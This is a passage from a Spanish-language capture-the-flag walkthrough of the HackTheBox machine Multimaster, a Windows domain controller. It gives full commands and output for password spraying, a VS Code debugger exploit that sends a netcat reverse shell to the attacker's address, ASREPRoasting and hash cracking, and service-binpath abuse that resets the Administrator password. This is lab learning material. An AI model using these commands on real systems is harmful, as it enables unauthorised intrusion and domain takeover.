		log.info("Uso: python3 {} <Inyeccion>".format(sys.argv[0]))
		log.info("Uso: python3 {} <Min> <Max>".format(sys.argv[0]))
		sys.exit(0)

Obteniendo cuentas de dominio.

Crearé una lista con los cuentas de dominio que acabamos de encontrar para realizar un ataque de fuerza bruta para dar con la contraseña, a ver si ahora si tenemos suerte.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
intrusionz3r0@kali:~$ cme smb multimaster.htb -u users2.txt -p passwords.txt
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\Administrator:banking1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\Administrator:password1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\Administrator:finance1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\Guest:banking1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\Guest:password1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\Guest:finance1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\krbtgt:banking1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\krbtgt:password1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\krbtgt:finance1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\tushikikatomo:banking1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\tushikikatomo:password1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\tushikikatomo:finance1

¡¡Eureka!! Tenemos unas credenciales validas: tushikikatomo:finance1.

Shell como el usuario tushikikatomo.

Utilizo evil-winrm para loguearme como el usuario tushikikatomo.

Abusando de Visual Studio Code.

Iré al grano para no hacer el writeup tan largo, si revisamos los procesos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
*Evil-WinRM* PS C:\Users\alcibiades\Documents> Get-process                                                                                                    [32/32]
                                                                                                                                                                     
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                                                                                
-------  ------    -----      -----     ------     --  -- -----------                                                                                                
    284      51    58660      74240               968   1 Code                                                                                                       
    413      55    96544     104012              3296   1 Code                                                                                                       
    329      32    40664      35384              3556   1 Code                                                                                                       
    413      54    96648     135272              4000   1 Code                                                                                                       
    679      52    34092      82032              4292   1 Code                                                                                                       
    415      53    94504      68456              4600   1 Code                                                                                                       
    416      55    97000     135540              4880   1 Code                                                                                                       
    231      15     6132       5560              5048   1 Code                                                                                                       
    283      51    58064      33060              5572   1 Code                                                                                                       
    284      51    57916      54024              5784   1 Code                                                                                                       
    285      51    57876      74476              5956   1 Code                                                                                                       
    430      23    15740      11880              6044   1 Code

Vemos que tenemos un visual studio en ejecución.

Rápidamente reviso la versión del visual studio para comenzar a buscar si esta versión esta asociada a alguna vulnerabilidad critica.

1
2
*Evil-WinRM* PS C:\Program Files\Microsoft VS Code\bin> .\code -h                                                                                             [22/22]
Visual Studio Code 1.37.1

Versión: 1.37.1

Hago una busqueda en google y encuentro el siguiente resultado: https://vulmon.com/vulnerabilitydetails?qid=CVE-2019-1414

Descripción: Existe una vulnerabilidad de elevación de privilegios en Visual Studio Code cuando expone un detector de depuración a los usuarios de un equipo local. Un atacante local que aproveche con éxito la vulnerabilidad podría inyectar código arbitrario para que se ejecute en el contexto del usuario actual. Si el usuario actual está conectado con derechos de usuario administrativo, un atacante podría tomar el control del sistema afectado.

Vamos a aprovecharnos de esto para escalar, para ello me descargo el siguiente debug: cefdebug 2.0

Me monto un servidor con samba compartiendo el cefdebug.exe y nc.exe para después descargarlos en la máquina.

1
intrusionz3r0@kali:~$ sudo impacket-smbserver smbFolder $(pwd) -smb2support -username fg -password fg

Para poder explotar la vulnerabilidad primero necesitamos encontrar un socket, para ello escaneo la máquina con cefdebug.

1
2
3
4
*Evil-WinRM* PS C:\Temp> .\cefdebug.exe
[2020/08/19 11:58:38:9491] U: There were 2 servers that appear to be CEF debuggers.
[2020/08/19 11:58:38:9491] U: ws://127.0.0.1:32307/f5171393-524a-4435-8c98-14e0feca650e
[2020/08/19 11:58:38:9491] U: ws://127.0.0.1:36810/0fd22c26-a0cb-4cf6-b274-c587d00db411

Después tomo uno de los sockets a la escucha y me envió una reverse shell con el netcat que nos habíamos descargado anteriormente.

1
*Evil-WinRM* PS C:\Temp> ./cefdebug.exe --url ws://127.0.0.1:36810/0fd22c26-a0cb-4cf6-b274-c587d00db411 --code "process.mainModule.require('child_process').exec('cmd.exe /c c:/Temp/nc.exe 10.10.14.7 5544 -e cmd.exe').toString()"

Shell como cyork.

enter image description here

Buscando en las entrañas de una DLL.

Enumerando un poco en la máquina encontramos una dll bastante interesante.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS c:\inetpub\wwwroot\bin>dir

 Volume in drive C has no label.
 Volume Serial Number is 5E12-F84E

 Directory of c:\inetpub\wwwroot\bin

01/07/2020  10:28 PM    <DIR>          .
01/07/2020  10:28 PM    <DIR>          ..
02/21/2013  08:13 PM           102,912 Antlr3.Runtime.dll
02/21/2013  08:13 PM           431,616 Antlr3.Runtime.pdb
05/24/2018  01:08 AM            40,080 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll
07/24/2012  11:18 PM            45,416 Microsoft.Web.Infrastructure.dll
01/09/2020  05:13 AM            13,824 MultimasterAPI.dll

Rápidamente abro IDA, me importó MultimasterAPI.dll y comienzo a analizarla a profundidad.

Después de estar buscando entre las entrañas de la dll finalmente encontramos lo que parece ser una contraseña: D3veL0pM3nT!

Ejecutó crackmapexec para averiguar a qué usuario pertenece esa contraseña.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
intrusionz3r0@kali:~$ cme smb multimaster.htb -u users.txt -p D3veL0pM3nT! 

SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\aldom:D3veL0pM3nT! STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\alyx:D3veL0pM3nT! STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\ckane:D3veL0pM3nT! STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\cyork:D3veL0pM3nT! STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\egre55:D3veL0pM3nT! STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\ilee:D3veL0pM3nT! STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\james:D3veL0pM3nT! STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\jorden:D3veL0pM3nT! STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\kpage:D3veL0pM3nT! STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\minatotw:D3veL0pM3nT! STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\nbourne:D3veL0pM3nT! STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\okent:D3veL0pM3nT! STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\rmartin:D3veL0pM3nT! STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\sbauer:D3veL0pM3nT!

¡¡Eureka!! Encontramos unas credenciales válidas: sbauer:D3veL0pM3nT!

Shell como el usuario sbauer.

Utilizó la herramienta evil-winrm para loguearme con el usuario sbauer.

1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ evil-winrm -i 10.10.10.179 -u sbauer -p D3veL0pM3nT!

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\sbauer\Documents> whoami
megacorp\sbauer
*Evil-WinRM* PS C:\Users\sbauer\Documents>

Paso el tiempo hasta que decidí comenzar a enumerar más seriamente el directorio activo con nuestro amigo el perro.

BloodHound.

enter image description here

Monto un servidor con samba compartiendo el SharpHound.exe mientras que en otra pestaña levantó el bloodhound.

Ejecutó el sharphound.exe y lo descargo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
*Evil-WinRM* PS C:\Temp> .\SharpHound.exe
-----------------------------------------------
Initializing SharpHound at 9:16 PM on 8/19/2020
-----------------------------------------------

Resolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container

[+] Creating Schema map for domain MEGACORP.LOCAL using path CN=Schema,CN=Configuration,DC=MEGACORP,DC=LOCAL
[+] Cache File not Found: 0 Objects in cache

[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 19 MB RAM
Status: 94 objects finished (+94 ì)/s -- Using 27 MB RAM
Enumeration finished in 00:00:00.3942144
Compressing data to .\20200819211627_BloodHound.zip
You can upload this file directly to the UI

SharpHound Enumeration Completed at 9:16 PM on 8/19/2020! Happy Graphing!

*Evil-WinRM* PS C:\Temp> download 20200819211627_BloodHound.zip
Info: Downloading C:\Temp\20200819211627_BloodHound.zip to 20200819211627_BloodHound.zip

                                                             
Info: Download successful!

Después solo arrastramos el .zip al bloodhound y comenzamos a analizar todo lo que recolecto nuestro sharphound.exe.

enter image description here

Indagando un poco encontramos que el usuario sbauer tiene permisos GenericWrite sobre el usuario jorden.

Ataque ASREPRoast.

Importamos el modulo de active directory y evitamos que jorden solicite pre-autenticación.

1
2
3
*Evil-WinRM* PS C:\Users\sbauer\Documents> $username = "jorden"
*Evil-WinRM* PS C:\Users\sbauer\Documents> Import-Module activedirectory
*Evil-WinRM* PS C:\Users\sbauer\Documents> Get-ADUser $username | Set-ADAccountControl -doesnotrequirepreauth $true

Después utilizamos la herramienta GetNPUsers.py para obtener nuestro hash.

1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ sudo GetNPUsers.py MEGACORP.local/sbauer:'D3veL0pM3nT!' -dc-ip 10.10.10.179 -request
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Name    MemberOf                                      PasswordLastSet             LastLogon  UAC      
------  --------------------------------------------  --------------------------  ---------  --------
jorden  CN=Developers,OU=Groups,DC=MEGACORP,DC=LOCAL  2020-01-09 18:48:17.503303  <never>    0x410200 



$krb5asrep$23$jorden@MEGACORP.LOCAL:953abf0472fafe61916ce77ac7e6ebc5$984cc9f4b101ba52c0b77334950ed13f88c489efadcd76979d911e4b6dc18cf7439dbf3133d3e9d2f6e3a9f5090cf4c3bd30efebe2da216142793ea7b00be97b12a295ce7a9d1691d3a3680dd38a3cdb18486d657caf6eaae62ca26698c2882f5bd0b2ea354d55c26277106e3dfeb5390860dc5f1ba41b6c2adb44fe07b1d03f161c6085d34538b24228d49bc65c81b79e51fd8599f74f5fb8c8563b02b10da882666506979d287a2cd79c28b9b9ae5f7997517903993d05e3bb7a6c68744f9592ca21cc85c315dc962be07c5391fc1b856a883a42eb408d7e41ace9e61084a63ec89cddbe3ab1bbd44fa85e4b9eb25e

O bien con crackmapexec.

1
intrusionz3r0@kali:~$ cme ldap multimaster.htb -u jorden -p '' --asreproast AR_REP --kdcHost 10.10.10.179

Ahora solo lo crackeamos el hash con nuestro amigo john y verificamos las credenciales con crackmapexec.

1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ john -w=/usr/share/wordlists/rockyou.txt hash  
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rainforest786    ($krb5asrep$23$jorden@MEGACORP.LOCAL)
1g 0:00:00:23 DONE (2020-08-20 00:03) 0.04170g/s 183544p/s 183544c/s 183544C/s rainian..rainemee
Use the "--show" option to display all of the cracked passwords reliably
Session completed
1
2
3
intrusionz3r0@kali:~$ cme smb multimaster.htb -u jorden -p rainforest786       
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\jorden:rainforest786

Shell como el usuario jorden.

1
2
3
4
5
6
7
8
9
evil-winrm -i multimaster.htb -u jorden -p 'rainforest786'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\jorden\Documents> whoami
megacorp\jorden
*Evil-WinRM* PS C:\Users\jorden\Documents>

Nuevamente comenzamos a enumerar.

Abusando del servicio browser para obtener shell como SYSTEM.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
*Evil-WinRM* PS C:\Users\jorden\Documents> net user jorden
User name                    jorden
Full Name                    Jorden Mclean
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/9/2020 5:48:17 PM
Password expires             Never
Password changeable          1/10/2020 5:48:17 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Remote Management Use*Server Operators
Global Group memberships     *Domain Users         *Developers
The command completed successfully.

Podemos observar de que jorden pertenece al grupo de SERVER OPERATORS, los miembros de este grupo se les permite ejecutar, parar o modificar algunos servicios de la máquina, eso significa que podemos aprovecharnos de un servicio que se ejecute bajo el contexto de SYSTEM para poder ejecutar comandos o bien ejecutar un binario como SYSTEM.

En este caso abusaremos del servicio browser.

1
2
3
4
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe config browser binpath="C:\Windows\System32\cmd.exe /C net user Administrator HolaA123!!"
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe qc browser
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe stop browser
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe start browser
1
2
3
4
5
6
7
8
intrusionz3r0@kali:~$ evil-winrm -i multimaster.htb -u Administrator -p 'HolaA123!!'                                  

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
megacorp\administrator

Escritorio Remoto.

Antes de terminar me gustaría conectarme de manera remota a la máquina, para ello creo una regla de firewall que permita el trafico de entrada y salida por el puerto 3389.

1
2
C:\Windows\system32>  netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow
C:\Windows\system32>  netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=out localport=3389 action=allow

Después habilitamos el RDP modificando el registro.

1
C:\Windows\system32>  reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Por ultimo solo utilizamos remmina para conectarnos vía escritorio remoto.

¡¡Somos Administradores!!

enter image description here

Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.

¡Muchas Gracias!

This post is licensed under CC BY 4.0 by the author.